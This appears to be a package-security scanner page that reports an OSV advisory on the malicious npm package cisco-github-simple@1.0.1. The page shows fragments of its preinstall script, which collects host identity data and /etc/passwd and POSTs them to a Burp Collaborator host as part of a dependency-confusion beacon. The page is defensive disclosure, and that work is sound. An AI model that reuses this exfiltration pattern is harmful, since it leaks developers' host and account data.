Loading npm security reports…

cisco-github-simple@1.0.1: Malicious npm security report (Block) | LPM Firewall

registry / cisco-github-simple / 1.0.1

cisco-github-simple@1.0.1

OSV Malicious Advisory

imported 18d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-16381 confirms this npm version as malicious. The package declares a preinstall lifecycle hook (`node index.js`) that runs automatically on `npm install`. index.js collects host reconnaissance from the installer — os.hostname(), os.userInfo().username, home directory, DNS server list, and the contents of /etc/passwd and /etc/hosts, together with the package.json — assembles them into a JSON tracking payload, and POSTs the payload over HTTPS to the Burp...

Advisory

MAL-2026-16381

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in cisco-github-simple (npm)

Details

The package declares a preinstall lifecycle hook (`node index.js`) that runs automatically on `npm install`. index.js collects host reconnaissance from the installer — os.hostname(), os.userInfo().username, home directory, DNS server list, and the contents of /etc/passwd and /etc/hosts, together with the package.json — assembles them into a JSON tracking payload, and POSTs the payload over HTTPS to the Burp Collaborator subdomain prk15yh0sbkd1305h200c2wv5mbhz7nw.oastify.com. The package name impersonates Cisco's GitHub namespace, consistent with a dependency-confusion recon beacon targeting internal Cisco builds. There is no legitimate purpose served by the code; installing or building against this package leaks sensitive host and account information to an attacker-controlled out-of-band domain.

Decision reason

Automated AI review exhausted its retry budget. This package remains unresolved and must not warn or block users.

References

OSV advisory PACKAGE

Decision evidence

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

1Trigger-reachable chain: scripts.preinstall -> index.js L1: const os = require("os"); L2: const dns = require("dns"); L3: const fs = require("fs"); L4: const https = require("https"); L5: const packageJSON = require("./package.json"); L6: const packageName = packageJSON.name; ... L10: p: packageName, // Package name L11: c: __dirname, // Directory where the package is installed L12: hd: os.homedir(), // Home directory on the remote server L13: hn: os.hostname(), // Hostname of the remote server L14: un: os.userInfo().username, // Username on the remote server ... L17: pjson: packageJSON, // Full package.json data

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require("https"); const trackingData = JSON.stringify({ // Prepare the POST request data var postData = JSON.stringify({ hostname: "[redacted].oastify.com", // Burp Collaborator server method: "POST", "Content-Length": postData.length, // Send the data via HTTPS POST request

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = take-home-caller-id@1.0.1 matchedPath = index.js matchedIdentity = npm:dGFrZS1ob21lLWNhbGxlci1pZA:1.0.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5442fb9217b0dd0a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = take-home-caller-id@1.0.1 matchedPath = index.js matchedIdentity = npm:dGFrZS1ob21lLWNhbGxlci1pZA:1.0.1 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

cisco-github-simple@1.0.1

OSV Malicious Advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code